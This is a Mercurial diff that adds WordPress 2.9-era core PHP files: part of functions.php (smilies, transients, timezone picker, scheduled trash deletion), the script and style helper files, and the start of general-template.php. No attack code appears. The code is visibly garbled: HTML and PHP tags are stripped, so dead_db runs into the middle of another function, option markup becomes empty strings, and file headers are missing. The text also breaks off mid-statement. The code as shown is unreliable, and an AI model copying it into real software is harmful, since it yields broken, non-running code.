$input['theme_advanced_buttons1'] .= ',ltr'; + } + + return $input; +} + + +/** + * Convert smiley code to the icon graphic file equivalent. + * + * You can turn off smilies, by going to the write setting screen and unchecking + * the box, or by setting 'use_smilies' option to false or removing the option. + * + * Plugins may override the default smiley list by setting the $wpsmiliestrans + * to an array, with the key the code the blogger types in and the value the + * image file. + * + * The $wp_smiliessearch global is for the regular expression and is set each + * time the function is called. + * + * The full list of smilies can be found in the function and won't be listed in + * the description. Probably should create a Codex page for it, so that it is + * available. + * + * @global array $wpsmiliestrans + * @global array $wp_smiliessearch + * @since 2.2.0 + */ +function smilies_init() { + global $wpsmiliestrans, $wp_smiliessearch; + + // don't bother setting up smilies if they are disabled + if ( !get_option( 'use_smilies' ) ) + return; + + if ( !isset( $wpsmiliestrans ) ) { + $wpsmiliestrans = array( + ':mrgreen:' => 'icon_mrgreen.gif', + ':neutral:' => 'icon_neutral.gif', + ':twisted:' => 'icon_twisted.gif', + ':arrow:' => 'icon_arrow.gif', + ':shock:' => 'icon_eek.gif', + ':smile:' => 'icon_smile.gif', + ':???:' => 'icon_confused.gif', + ':cool:' => 'icon_cool.gif', + ':evil:' => 'icon_evil.gif', + ':grin:' => 'icon_biggrin.gif', + ':idea:' => 'icon_idea.gif', + ':oops:' => 'icon_redface.gif', + ':razz:' => 'icon_razz.gif', + ':roll:' => 'icon_rolleyes.gif', + ':wink:' => 'icon_wink.gif', + ':cry:' => 'icon_cry.gif', + ':eek:' => 'icon_surprised.gif', + ':lol:' => 'icon_lol.gif', + ':mad:' => 'icon_mad.gif', + ':sad:' => 'icon_sad.gif', + '8-)' => 'icon_cool.gif', + '8-O' => 'icon_eek.gif', + ':-(' => 'icon_sad.gif', + ':-)' => 'icon_smile.gif', + ':-?' => 'icon_confused.gif', + ':-D' => 'icon_biggrin.gif', + ':-P' => 'icon_razz.gif', + ':-o' => 'icon_surprised.gif', + ':-x' => 'icon_mad.gif', + ':-|' => 'icon_neutral.gif', + ';-)' => 'icon_wink.gif', + '8)' => 'icon_cool.gif', + '8O' => 'icon_eek.gif', + ':(' => 'icon_sad.gif', + ':)' => 'icon_smile.gif', + ':?' => 'icon_confused.gif', + ':D' => 'icon_biggrin.gif', + ':P' => 'icon_razz.gif', + ':o' => 'icon_surprised.gif', + ':x' => 'icon_mad.gif', + ':|' => 'icon_neutral.gif', + ';)' => 'icon_wink.gif', + ':!:' => 'icon_exclaim.gif', + ':?:' => 'icon_question.gif', + ); + } + + if (count($wpsmiliestrans) == 0) { + return; + } + + /* + * NOTE: we sort the smilies in reverse key order. This is to make sure + * we match the longest possible smilie (:???: vs :?) as the regular + * expression used below is first-match + */ + krsort($wpsmiliestrans); + + $wp_smiliessearch = '/(?:\s|^)'; + + $subchar = ''; + foreach ( (array) $wpsmiliestrans as $smiley => $img ) { + $firstchar = substr($smiley, 0, 1); + $rest = substr($smiley, 1); + + // new subpattern? + if ($firstchar != $subchar) { + if ($subchar != '') { + $wp_smiliessearch .= ')|(?:\s|^)'; + } + $subchar = $firstchar; + $wp_smiliessearch .= preg_quote($firstchar, '/') . '(?:'; + } else { + $wp_smiliessearch .= '|'; + } + $wp_smiliessearch .= preg_quote($rest, '/'); + } + + $wp_smiliessearch .= ')(?:\s|$)/m'; +} + +/** + * Merge user defined arguments into defaults array. + * + * This function is used throughout WordPress to allow for both string or array + * to be merged into another array. + * + * @since 2.2.0 + * + * @param string|array $args Value to merge with $defaults + * @param array $defaults Array that serves as the defaults. + * @return array Merged user defined values with defaults. + */ +function wp_parse_args( $args, $defaults = '' ) { + if ( is_object( $args ) ) + $r = get_object_vars( $args ); + elseif ( is_array( $args ) ) + $r =& $args; + else + wp_parse_str( $args, $r ); + + if ( is_array( $defaults ) ) + return array_merge( $defaults, $r ); + return $r; +} + +/** + * Determines if default embed handlers should be loaded. + * + * Checks to make sure that the embeds library hasn't already been loaded. If + * it hasn't, then it will load the embeds library. + * + * @since 2.9 + */ +function wp_maybe_load_embeds() { + if ( ! apply_filters('load_default_embeds', true) ) + return; + require_once( ABSPATH . WPINC . '/default-embeds.php' ); +} + +/** + * Determines if Widgets library should be loaded. + * + * Checks to make sure that the widgets library hasn't already been loaded. If + * it hasn't, then it will load the widgets library and run an action hook. + * + * @since 2.2.0 + * @uses add_action() Calls '_admin_menu' hook with 'wp_widgets_add_menu' value. + */ +function wp_maybe_load_widgets() { + if ( ! apply_filters('load_default_widgets', true) ) + return; + require_once( ABSPATH . WPINC . '/default-widgets.php' ); + add_action( '_admin_menu', 'wp_widgets_add_menu' ); +} + +/** + * Append the Widgets menu to the themes main menu. + * + * @since 2.2.0 + * @uses $submenu The administration submenu list. + */ +function wp_widgets_add_menu() { + global $submenu; + $submenu['themes.php'][7] = array( __( 'Widgets' ), 'switch_themes', 'widgets.php' ); + ksort( $submenu['themes.php'], SORT_NUMERIC ); +} + +/** + * Flush all output buffers for PHP 5.2. + * + * Make sure all output buffers are flushed before our singletons our destroyed. + * + * @since 2.2.0 + */ +function wp_ob_end_flush_all() { + $levels = ob_get_level(); + for ($i=0; $i<$levels; $i++) + ob_end_flush(); +} + +/** + * Load the correct database class file. + * + * This function is used to load the database class file either at runtime or by + * wp-admin/setup-config.php We must globalise $wpdb to ensure that it is + * defined globally by the inline code in wp-db.php. + * + * @since 2.5.0 + * @global $wpdb WordPress Database Object + */ +function require_wp_db() { + global $wpdb; + if ( file_exists( WP_CONTENT_DIR . '/db.php' ) ) + require_once( WP_CONTENT_DIR . '/db.php' ); + else + require_once( ABSPATH . WPINC . '/wp-db.php' ); +} + +/** + * Load custom DB error or display WordPress DB error. + * + * If a file exists in the wp-content directory named db-error.php, then it will + * be loaded instead of displaying the WordPress DB error. If it is not found, + * then the WordPress DB error will be displayed instead. + * + * The WordPress DB error sets the HTTP status header to 500 to try to prevent + * search engines from caching the message. Custom DB messages should do the + * same. + * + * This function was backported to the the WordPress 2.3.2, but originally was + * added in WordPress 2.5.0. + * + * @since 2.3.2 + * @uses $wpdb + */ +function dead_db() { + global $wpdb; + + // Load custom DB error template, if present. + if ( file_exists( WP_CONTENT_DIR . '/db-error.php' ) ) { + require_once( WP_CONTENT_DIR . '/db-error.php' ); + die(); + } + + // If installing or in the admin, provide the verbose message. + if ( defined('WP_INSTALLING') || defined('WP_ADMIN') ) + wp_die($wpdb->error); + + // Otherwise, be terse. + status_header( 500 ); + nocache_headers(); + header( 'Content-Type: text/html; charset=utf-8' ); +?> + +> + + + Database Error + + + +

    Error establishing a database connection

    + + +deprecated since version %2$s! Use %3$s instead.'), $function, $version, $replacement ) ); + else + trigger_error( sprintf( __('%1$s is deprecated since version %2$s with no alternative available.'), $function, $version ) ); + } +} + +/** + * Marks a file as deprecated and informs when it has been used. + * + * There is a hook deprecated_file_included that will be called that can be used + * to get the backtrace up to what file and function included the deprecated + * file. + * + * The current behavior is to trigger an user error if WP_DEBUG is true. + * + * This function is to be used in every file that is depreceated + * + * @package WordPress + * @package Debug + * @since 2.5.0 + * @access private + * + * @uses do_action() Calls 'deprecated_file_included' and passes the file name and what to use instead. + * @uses apply_filters() Calls 'deprecated_file_trigger_error' and expects boolean value of true to do trigger or false to not trigger error. + * + * @param string $file The file that was included + * @param string $version The version of WordPress that deprecated the function + * @param string $replacement Optional. The function that should have been called + */ +function _deprecated_file($file, $version, $replacement=null) { + + do_action('deprecated_file_included', $file, $replacement); + + // Allow plugin to filter the output error trigger + if( WP_DEBUG && apply_filters( 'deprecated_file_trigger_error', true ) ) { + if( !is_null($replacement) ) + trigger_error( sprintf( __('%1$s is deprecated since version %2$s! Use %3$s instead.'), $file, $version, $replacement ) ); + else + trigger_error( sprintf( __('%1$s is deprecated since version %2$s with no alternative available.'), $file, $version ) ); + } +} + +/** + * Is the server running earlier than 1.5.0 version of lighttpd + * + * @since 2.5.0 + * + * @return bool Whether the server is running lighttpd < 1.5.0 + */ +function is_lighttpd_before_150() { + $server_parts = explode( '/', isset( $_SERVER['SERVER_SOFTWARE'] )? $_SERVER['SERVER_SOFTWARE'] : '' ); + $server_parts[1] = isset( $server_parts[1] )? $server_parts[1] : ''; + return 'lighttpd' == $server_parts[0] && -1 == version_compare( $server_parts[1], '1.5.0' ); +} + +/** + * Does the specified module exist in the apache config? + * + * @since 2.5.0 + * + * @param string $mod e.g. mod_rewrite + * @param bool $default The default return value if the module is not found + * @return bool + */ +function apache_mod_loaded($mod, $default = false) { + global $is_apache; + + if ( !$is_apache ) + return false; + + if ( function_exists('apache_get_modules') ) { + $mods = apache_get_modules(); + if ( in_array($mod, $mods) ) + return true; + } elseif ( function_exists('phpinfo') ) { + ob_start(); + phpinfo(8); + $phpinfo = ob_get_clean(); + if ( false !== strpos($phpinfo, $mod) ) + return true; + } + return $default; +} + +/** + * File validates against allowed set of defined rules. + * + * A return value of '1' means that the $file contains either '..' or './'. A + * return value of '2' means that the $file contains ':' after the first + * character. A return value of '3' means that the file is not in the allowed + * files list. + * + * @since 1.2.0 + * + * @param string $file File path. + * @param array $allowed_files List of allowed files. + * @return int 0 means nothing is wrong, greater than 0 means something was wrong. + */ +function validate_file( $file, $allowed_files = '' ) { + if ( false !== strpos( $file, '..' )) + return 1; + + if ( false !== strpos( $file, './' )) + return 1; + + if (!empty ( $allowed_files ) && (!in_array( $file, $allowed_files ) ) ) + return 3; + + if (':' == substr( $file, 1, 1 )) + return 2; + + return 0; +} + +/** + * Determine if SSL is used. + * + * @since 2.6.0 + * + * @return bool True if SSL, false if not used. + */ +function is_ssl() { + if ( isset($_SERVER['HTTPS']) ) { + if ( 'on' == strtolower($_SERVER['HTTPS']) ) + return true; + if ( '1' == $_SERVER['HTTPS'] ) + return true; + } elseif ( isset($_SERVER['SERVER_PORT']) && ( '443' == $_SERVER['SERVER_PORT'] ) ) { + return true; + } + return false; +} + +/** + * Whether SSL login should be forced. + * + * @since 2.6.0 + * + * @param string|bool $force Optional. + * @return bool True if forced, false if not forced. + */ +function force_ssl_login( $force = null ) { + static $forced = false; + + if ( !is_null( $force ) ) { + $old_forced = $forced; + $forced = $force; + return $old_forced; + } + + return $forced; +} + +/** + * Whether to force SSL used for the Administration Panels. + * + * @since 2.6.0 + * + * @param string|bool $force + * @return bool True if forced, false if not forced. + */ +function force_ssl_admin( $force = null ) { + static $forced = false; + + if ( !is_null( $force ) ) { + $old_forced = $forced; + $forced = $force; + return $old_forced; + } + + return $forced; +} + +/** + * Guess the URL for the site. + * + * Will remove wp-admin links to retrieve only return URLs not in the wp-admin + * directory. + * + * @since 2.6.0 + * + * @return string + */ +function wp_guess_url() { + if ( defined('WP_SITEURL') && '' != WP_SITEURL ) { + $url = WP_SITEURL; + } else { + $schema = ( isset($_SERVER['HTTPS']) && strtolower($_SERVER['HTTPS']) == 'on' ) ? 'https://' : 'http://'; + $url = preg_replace('|/wp-admin/.*|i', '', $schema . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']); + } + return $url; +} + +/** + * Suspend cache invalidation. + * + * Turns cache invalidation on and off. Useful during imports where you don't wont to do invalidations + * every time a post is inserted. Callers must be sure that what they are doing won't lead to an inconsistent + * cache when invalidation is suspended. + * + * @since 2.7.0 + * + * @param bool $suspend Whether to suspend or enable cache invalidation + * @return bool The current suspend setting + */ +function wp_suspend_cache_invalidation($suspend = true) { + global $_wp_suspend_cache_invalidation; + + $current_suspend = $_wp_suspend_cache_invalidation; + $_wp_suspend_cache_invalidation = $suspend; + return $current_suspend; +} + +function get_site_option( $key, $default = false, $use_cache = true ) { + // Allow plugins to short-circuit site options. + $pre = apply_filters( 'pre_site_option_' . $key, false ); + if ( false !== $pre ) + return $pre; + + $value = get_option($key, $default); + + return apply_filters( 'site_option_' . $key, $value ); +} + +// expects $key, $value not to be SQL escaped +function add_site_option( $key, $value ) { + $value = apply_filters( 'pre_add_site_option_' . $key, $value ); + $result = add_option($key, $value); + do_action( "add_site_option_{$key}", $key, $value ); + return $result; +} + +function delete_site_option( $key ) { + $result = delete_option($key); + do_action( "delete_site_option_{$key}", $key ); + return $result; +} + +// expects $key, $value not to be SQL escaped +function update_site_option( $key, $value ) { + $oldvalue = get_site_option( $key ); + $value = apply_filters( 'pre_update_site_option_' . $key, $value, $oldvalue ); + $result = update_option($key, $value); + do_action( "update_site_option_{$key}", $key, $value ); + return $result; +} + +/** + * Delete a site transient + * + * @since 2.890 + * @package WordPress + * @subpackage Transient + * + * @param string $transient Transient name. Expected to not be SQL-escaped + * @return bool true if successful, false otherwise + */ +function delete_site_transient($transient) { + global $_wp_using_ext_object_cache, $wpdb; + + if ( $_wp_using_ext_object_cache ) { + return wp_cache_delete($transient, 'site-transient'); + } else { + $transient = '_site_transient_' . esc_sql($transient); + return delete_site_option($transient); + } +} + +/** + * Get the value of a site transient + * + * If the transient does not exist or does not have a value, then the return value + * will be false. + * + * @since 2.9.0 + * @package WordPress + * @subpackage Transient + * + * @param string $transient Transient name. Expected to not be SQL-escaped + * @return mixed Value of transient + */ +function get_site_transient($transient) { + global $_wp_using_ext_object_cache, $wpdb; + + $pre = apply_filters( 'pre_site_transient_' . $transient, false ); + if ( false !== $pre ) + return $pre; + + if ( $_wp_using_ext_object_cache ) { + $value = wp_cache_get($transient, 'site-transient'); + } else { + $transient_option = '_site_transient_' . esc_sql($transient); + $transient_timeout = '_site_transient_timeout_' . esc_sql($transient); + if ( get_site_option($transient_timeout) < time() ) { + delete_site_option($transient_option); + delete_site_option($transient_timeout); + return false; + } + + $value = get_site_option($transient_option); + } + + return apply_filters('site_transient_' . $transient, $value); +} + +/** + * Set/update the value of a site transient + * + * You do not need to serialize values, if the value needs to be serialize, then + * it will be serialized before it is set. + * + * @since 2.9.0 + * @package WordPress + * @subpackage Transient + * + * @param string $transient Transient name. Expected to not be SQL-escaped + * @param mixed $value Transient value. + * @param int $expiration Time until expiration in seconds, default 0 + * @return bool False if value was not set and true if value was set. + */ +function set_site_transient($transient, $value, $expiration = 0) { + global $_wp_using_ext_object_cache, $wpdb; + + if ( $_wp_using_ext_object_cache ) { + return wp_cache_set($transient, $value, 'site-transient', $expiration); + } else { + $transient_timeout = '_site_transient_timeout_' . $transient; + $transient = '_site_transient_' . $transient; + $safe_transient = esc_sql($transient); + if ( false === get_site_option( $safe_transient ) ) { + if ( 0 != $expiration ) + add_site_option($transient_timeout, time() + $expiration); + return add_site_option($transient, $value); + } else { + if ( 0 != $expiration ) + update_site_option($transient_timeout, time() + $expiration); + return update_site_option($transient, $value); + } + } +} + +/** + * gmt_offset modification for smart timezone handling + * + * Overrides the gmt_offset option if we have a timezone_string available + */ +function wp_timezone_override_offset() { + if ( !wp_timezone_supported() ) { + return false; + } + if ( !$timezone_string = get_option( 'timezone_string' ) ) { + return false; + } + + @date_default_timezone_set( $timezone_string ); + $timezone_object = timezone_open( $timezone_string ); + $datetime_object = date_create(); + if ( false === $timezone_object || false === $datetime_object ) { + return false; + } + return round( timezone_offset_get( $timezone_object, $datetime_object ) / 3600, 2 ); +} + +/** + * Check for PHP timezone support + */ +function wp_timezone_supported() { + $support = false; + if ( + function_exists( 'date_default_timezone_set' ) && + function_exists( 'timezone_identifiers_list' ) && + function_exists( 'timezone_open' ) && + function_exists( 'timezone_offset_get' ) + ) { + $support = true; + } + return apply_filters( 'timezone_support', $support ); +} + +function _wp_timezone_choice_usort_callback( $a, $b ) { + // Don't use translated versions of Etc + if ( 'Etc' === $a['continent'] && 'Etc' === $b['continent'] ) { + // Make the order of these more like the old dropdown + if ( 'GMT+' === substr( $a['city'], 0, 4 ) && 'GMT+' === substr( $b['city'], 0, 4 ) ) { + return -1 * ( strnatcasecmp( $a['city'], $b['city'] ) ); + } + if ( 'UTC' === $a['city'] ) { + if ( 'GMT+' === substr( $b['city'], 0, 4 ) ) { + return 1; + } + return -1; + } + if ( 'UTC' === $b['city'] ) { + if ( 'GMT+' === substr( $a['city'], 0, 4 ) ) { + return -1; + } + return 1; + } + return strnatcasecmp( $a['city'], $b['city'] ); + } + if ( $a['t_continent'] == $b['t_continent'] ) { + if ( $a['t_city'] == $b['t_city'] ) { + return strnatcasecmp( $a['t_subcity'], $b['t_subcity'] ); + } + return strnatcasecmp( $a['t_city'], $b['t_city'] ); + } else { + // Force Etc to the bottom of the list + if ( 'Etc' === $a['continent'] ) { + return 1; + } + if ( 'Etc' === $b['continent'] ) { + return -1; + } + return strnatcasecmp( $a['t_continent'], $b['t_continent'] ); + } +} + +/** + * Gives a nicely formatted list of timezone strings // temporary! Not in final + * + * @param $selected_zone string Selected Zone + * + */ +function wp_timezone_choice( $selected_zone ) { + static $mo_loaded = false; + + $continents = array( 'Africa', 'America', 'Antarctica', 'Arctic', 'Asia', 'Atlantic', 'Australia', 'Europe', 'Indian', 'Pacific'); + + // Load translations for continents and cities + if ( !$mo_loaded ) { + $locale = get_locale(); + $mofile = WP_LANG_DIR . '/continents-cities-' . $locale . '.mo'; + load_textdomain( 'continents-cities', $mofile ); + $mo_loaded = true; + } + + $zonen = array(); + foreach ( timezone_identifiers_list() as $zone ) { + $zone = explode( '/', $zone ); + if ( !in_array( $zone[0], $continents ) ) { + continue; + } + + // This determines what gets set and translated - we don't translate Etc/* strings here, they are done later + $exists = array( + 0 => ( isset( $zone[0] ) && $zone[0] ) ? true : false, + 1 => ( isset( $zone[1] ) && $zone[1] ) ? true : false, + 2 => ( isset( $zone[2] ) && $zone[2] ) ? true : false + ); + $exists[3] = ( $exists[0] && 'Etc' !== $zone[0] ) ? true : false; + $exists[4] = ( $exists[1] && $exists[3] ) ? true : false; + $exists[5] = ( $exists[2] && $exists[3] ) ? true : false; + + $zonen[] = array( + 'continent' => ( $exists[0] ? $zone[0] : '' ), + 'city' => ( $exists[1] ? $zone[1] : '' ), + 'subcity' => ( $exists[2] ? $zone[2] : '' ), + 't_continent' => ( $exists[3] ? translate( str_replace( '_', ' ', $zone[0] ), 'continents-cities' ) : '' ), + 't_city' => ( $exists[4] ? translate( str_replace( '_', ' ', $zone[1] ), 'continents-cities' ) : '' ), + 't_subcity' => ( $exists[5] ? translate( str_replace( '_', ' ', $zone[2] ), 'continents-cities' ) : '' ) + ); + } + usort( $zonen, '_wp_timezone_choice_usort_callback' ); + + $structure = array(); + + if ( empty( $selected_zone ) ) { + $structure[] = ''; + } + + foreach ( $zonen as $key => $zone ) { + // Build value in an array to join later + $value = array( $zone['continent'] ); + + if ( empty( $zone['city'] ) ) { + // It's at the continent level (generally won't happen) + $display = $zone['t_continent']; + } else { + // It's inside a continent group + + // Continent optgroup + if ( !isset( $zonen[$key - 1] ) || $zonen[$key - 1]['continent'] !== $zone['continent'] ) { + $label = $zone['t_continent']; + $structure[] = ''; + } + + // Add the city to the value + $value[] = $zone['city']; + + $display = $zone['t_city']; + if ( !empty( $zone['subcity'] ) ) { + // Add the subcity to the value + $value[] = $zone['subcity']; + $display .= ' - ' . $zone['t_subcity']; + } + } + + // Build the value + $value = join( '/', $value ); + $selected = ''; + if ( $value === $selected_zone ) { + $selected = 'selected="selected" '; + } + $structure[] = '"; + + // Close continent optgroup + if ( !empty( $zone['city'] ) && ( !isset($zonen[$key + 1]) || (isset( $zonen[$key + 1] ) && $zonen[$key + 1]['continent'] !== $zone['continent']) ) ) { + $structure[] = ''; + } + } + + // Do UTC + $structure[] = ''; + $selected = ''; + if ( 'UTC' === $selected_zone ) + $selected = 'selected="selected" '; + $structure[] = ''; + $structure[] = ''; + + // Do manual UTC offsets + $structure[] = ''; + $offset_range = array (-12, -11.5, -11, -10.5, -10, -9.5, -9, -8.5, -8, -7.5, -7, -6.5, -6, -5.5, -5, -4.5, -4, -3.5, -3, -2.5, -2, -1.5, -1, -0.5, + 0, 0.5, 1, 1.5, 2, 2.5, 3, 3.5, 4, 4.5, 5, 5.5, 5.75, 6, 6.5, 7, 7.5, 8, 8.5, 8.75, 9, 9.5, 10, 10.5, 11, 11.5, 12, 12.75, 13, 13.75, 14); + foreach ( $offset_range as $offset ) { + if ( 0 <= $offset ) + $offset_name = '+' . $offset; + else + $offset_name = (string) $offset; + + $offset_value = $offset_name; + $offset_name = str_replace(array('.25','.5','.75'), array(':15',':30',':45'), $offset_name); + $offset_name = 'UTC' . $offset_name; + $offset_value = 'UTC' . $offset_value; + $selected = ''; + if ( $offset_value === $selected_zone ) + $selected = 'selected="selected" '; + $structure[] = '"; + + } + $structure[] = ''; + + return join( "\n", $structure ); +} + +/** + * Strip close comment and close php tags from file headers used by WP + * See http://core.trac.wordpress.org/ticket/8497 + * + * @since 2.8 +**/ +function _cleanup_header_comment($str) { + return trim(preg_replace("/\s*(?:\*\/|\?>).*/", '', $str)); +} + +/** + * Permanently deletes posts, pages, attachments, and comments which have been in the trash for EMPTY_TRASH_DAYS. + * + * @since 2.9.0 + * + * @return void + */ +function wp_scheduled_delete() { + global $wpdb; + + $delete_timestamp = time() - (60*60*24*EMPTY_TRASH_DAYS); + + $posts_to_delete = $wpdb->get_results($wpdb->prepare("SELECT post_id FROM $wpdb->postmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < '%d'", $delete_timestamp), ARRAY_A); + + foreach ( (array) $posts_to_delete as $post ) { + $post_id = (int) $post['post_id']; + if ( !$post_id ) + continue; + + $del_post = get_post($post_id); + + if ( !$del_post || 'trash' != $del_post->post_status ) { + delete_post_meta($post_id, '_wp_trash_meta_status'); + delete_post_meta($post_id, '_wp_trash_meta_time'); + } else { + wp_delete_post($post_id); + } + } + + $comments_to_delete = $wpdb->get_results($wpdb->prepare("SELECT comment_id FROM $wpdb->commentmeta WHERE meta_key = '_wp_trash_meta_time' AND meta_value < '%d'", $delete_timestamp), ARRAY_A); + + foreach ( (array) $comments_to_delete as $comment ) { + $comment_id = (int) $comment['comment_id']; + if ( !$comment_id ) + continue; + + $del_comment = get_comment($comment_id); + + if ( !$del_comment || 'trash' != $del_comment->comment_approved ) { + delete_comment_meta($comment_id, '_wp_trash_meta_time'); + delete_comment_meta($comment_id, '_wp_trash_meta_status'); + } else { + wp_delete_comment($comment_id); + } + } +} + +/** + * Parse the file contents to retrieve its metadata. + * + * Searches for metadata for a file, such as a plugin or theme. Each piece of + * metadata must be on its own line. For a field spanning multple lines, it + * must not have any newlines or only parts of it will be displayed. + * + * Some users have issues with opening large files and manipulating the contents + * for want is usually the first 1kiB or 2kiB. This function stops pulling in + * the file contents when it has all of the required data. + * + * The first 8kiB of the file will be pulled in and if the file data is not + * within that first 8kiB, then the author should correct their plugin file + * and move the data headers to the top. + * + * The file is assumed to have permissions to allow for scripts to read + * the file. This is not checked however and the file is only opened for + * reading. + * + * @since 2.9.0 + * + * @param string $file Path to the file + * @param bool $markup If the returned data should have HTML markup applied + * @param string $context If specified adds filter hook "extra_<$context>_headers" + */ +function get_file_data( $file, $default_headers, $context = '' ) { + // We don't need to write to the file, so just open for reading. + $fp = fopen( $file, 'r' ); + + // Pull only the first 8kiB of the file in. + $file_data = fread( $fp, 8192 ); + + // PHP will close file handle, but we are good citizens. + fclose( $fp ); + + if( $context != '' ) { + $extra_headers = apply_filters( "extra_$context".'_headers', array() ); + + $extra_headers = array_flip( $extra_headers ); + foreach( $extra_headers as $key=>$value ) { + $extra_headers[$key] = $key; + } + $all_headers = array_merge($extra_headers, $default_headers); + } else { + $all_headers = $default_headers; + } + + + foreach ( $all_headers as $field => $regex ) { + preg_match( '/' . preg_quote( $regex, '/' ) . ':(.*)$/mi', $file_data, ${$field}); + if ( !empty( ${$field} ) ) + ${$field} = _cleanup_header_comment( ${$field}[1] ); + else + ${$field} = ''; + } + + $file_data = compact( array_keys( $all_headers ) ); + + return $file_data; +} +/* + * Used internally to tidy up the search terms + * + * @private + * @since 2.9.0 + */ +function _search_terms_tidy($t) { + return trim($t, "\"'\n\r "); +} +?> diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/functions.wp-scripts.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/functions.wp-scripts.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,128 @@ +do_items( $handles ); +} + +/** + * Register new JavaScript file. + * + * @since r16 + * @see WP_Dependencies::add() For parameter information. + */ +function wp_register_script( $handle, $src, $deps = array(), $ver = false, $in_footer = false ) { + global $wp_scripts; + if ( !is_a($wp_scripts, 'WP_Scripts') ) + $wp_scripts = new WP_Scripts(); + + $wp_scripts->add( $handle, $src, $deps, $ver ); + if ( $in_footer ) + $wp_scripts->add_data( $handle, 'group', 1 ); +} + +/** + * Localizes a script. + * + * Localizes only if script has already been added. + * + * @since r16 + * @see WP_Script::localize() + */ +function wp_localize_script( $handle, $object_name, $l10n ) { + global $wp_scripts; + if ( !is_a($wp_scripts, 'WP_Scripts') ) + return false; + + return $wp_scripts->localize( $handle, $object_name, $l10n ); +} + +/** + * Remove a registered script. + * + * @since r16 + * @see WP_Scripts::remove() For parameter information. + */ +function wp_deregister_script( $handle ) { + global $wp_scripts; + if ( !is_a($wp_scripts, 'WP_Scripts') ) + $wp_scripts = new WP_Scripts(); + + $wp_scripts->remove( $handle ); +} + +/** + * Enqueues script. + * + * Registers the script if src provided (does NOT overwrite) and enqueues. + * + * @since r16 + * @see WP_Script::add(), WP_Script::enqueue() +*/ +function wp_enqueue_script( $handle, $src = false, $deps = array(), $ver = false, $in_footer = false ) { + global $wp_scripts; + if ( !is_a($wp_scripts, 'WP_Scripts') ) + $wp_scripts = new WP_Scripts(); + + if ( $src ) { + $_handle = explode('?', $handle); + $wp_scripts->add( $_handle[0], $src, $deps, $ver ); + if ( $in_footer ) + $wp_scripts->add_data( $_handle[0], 'group', 1 ); + } + $wp_scripts->enqueue( $handle ); +} + +/** + * Check whether script has been added to WordPress Scripts. + * + * The values for list defaults to 'queue', which is the same as enqueue for + * scripts. + * + * @since WP unknown; BP unknown + * + * @param string $handle Handle used to add script. + * @param string $list Optional, defaults to 'queue'. Others values are 'registered', 'queue', 'done', 'to_do' + * @return bool + */ +function wp_script_is( $handle, $list = 'queue' ) { + global $wp_scripts; + if ( !is_a($wp_scripts, 'WP_Scripts') ) + $wp_scripts = new WP_Scripts(); + + $query = $wp_scripts->query( $handle, $list ); + + if ( is_object( $query ) ) + return true; + + return $query; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/functions.wp-styles.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/functions.wp-styles.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,104 @@ +do_items( $handles ); +} + +/** + * Register CSS style file. + * + * @since r79 + * @see WP_Styles::add() For parameter and additional information. + */ +function wp_register_style( $handle, $src, $deps = array(), $ver = false, $media = 'all' ) { + global $wp_styles; + if ( !is_a($wp_styles, 'WP_Styles') ) + $wp_styles = new WP_Styles(); + + $wp_styles->add( $handle, $src, $deps, $ver, $media ); +} + +/** + * Remove a registered CSS file. + * + * @since r79 + * @see WP_Styles::remove() For parameter and additional information. + */ +function wp_deregister_style( $handle ) { + global $wp_styles; + if ( !is_a($wp_styles, 'WP_Styles') ) + $wp_styles = new WP_Styles(); + + $wp_styles->remove( $handle ); +} + +/** + * Enqueue a CSS style file. + * + * @since r79 + * @see WP_Styles::add(), WP_Styles::enqueue() + */ +function wp_enqueue_style( $handle, $src = false, $deps = array(), $ver = false, $media = false ) { + global $wp_styles; + if ( !is_a($wp_styles, 'WP_Styles') ) + $wp_styles = new WP_Styles(); + + if ( $src ) { + $_handle = explode('?', $handle); + $wp_styles->add( $_handle[0], $src, $deps, $ver, $media ); + } + $wp_styles->enqueue( $handle ); +} + +/** + * Check whether style has been added to WordPress Styles. + * + * The values for list defaults to 'queue', which is the same as enqueue for + * styles. + * + * @since WP unknown; BP unknown + * + * @param string $handle Handle used to add style. + * @param string $list Optional, defaults to 'queue'. Others values are 'registered', 'queue', 'done', 'to_do' + * @return bool + */ +function wp_style_is( $handle, $list = 'queue' ) { + global $wp_styles; + if ( !is_a($wp_styles, 'WP_Styles') ) + $wp_styles = new WP_Styles(); + + $query = $wp_styles->query( $handle, $list ); + + if ( is_object( $query ) ) + return true; + + return $query; +} diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-includes/general-template.php --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-includes/general-template.php Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,2049 @@ + +
    + + +
    + '; + + echo apply_filters('get_search_form', $form); +} + +/** + * Display the Log In/Out link. + * + * Displays a link, which allows the user to navigate to the Log In page to log in + * or log out depending on whether or not they are currently logged in. + * + * @since 1.5.0 + * @uses apply_filters() Calls 'loginout' hook on HTML link content. + * + * @param string $redirect Optional path to redirect to on login/logout. + */ +function wp_loginout($redirect = '') { + if ( ! is_user_logged_in() ) + $link = '' . __('Log in') . ''; + else + $link = '' . __('Log out') . ''; + + echo apply_filters('loginout', $link); +} + +/** + * Returns the Log Out URL. + * + * Returns the URL that allows the user to log out of the site + * + * @since 2.7 + * @uses wp_nonce_url() To protect against CSRF + * @uses site_url() To generate the log in URL + * @uses apply_filters() calls 'logout_url' hook on final logout url + * + * @param string $redirect Path to redirect to on logout. + */ +function wp_logout_url($redirect = '') { + $args = array( 'action' => 'logout' ); + if ( !empty($redirect) ) { + $args['redirect_to'] = urlencode( $redirect ); + } + + $logout_url = add_query_arg($args, site_url('wp-login.php', 'login')); + $logout_url = wp_nonce_url( $logout_url, 'log-out' ); + + return apply_filters('logout_url', $logout_url, $redirect); +} + +/** + * Returns the Log In URL. + * + * Returns the URL that allows the user to log in to the site + * + * @since 2.7 + * @uses site_url() To generate the log in URL + * @uses apply_filters() calls 'login_url' hook on final login url + * + * @param string $redirect Path to redirect to on login. + */ +function wp_login_url($redirect = '') { + $login_url = site_url('wp-login.php', 'login'); + + if ( !empty($redirect) ) { + $login_url = 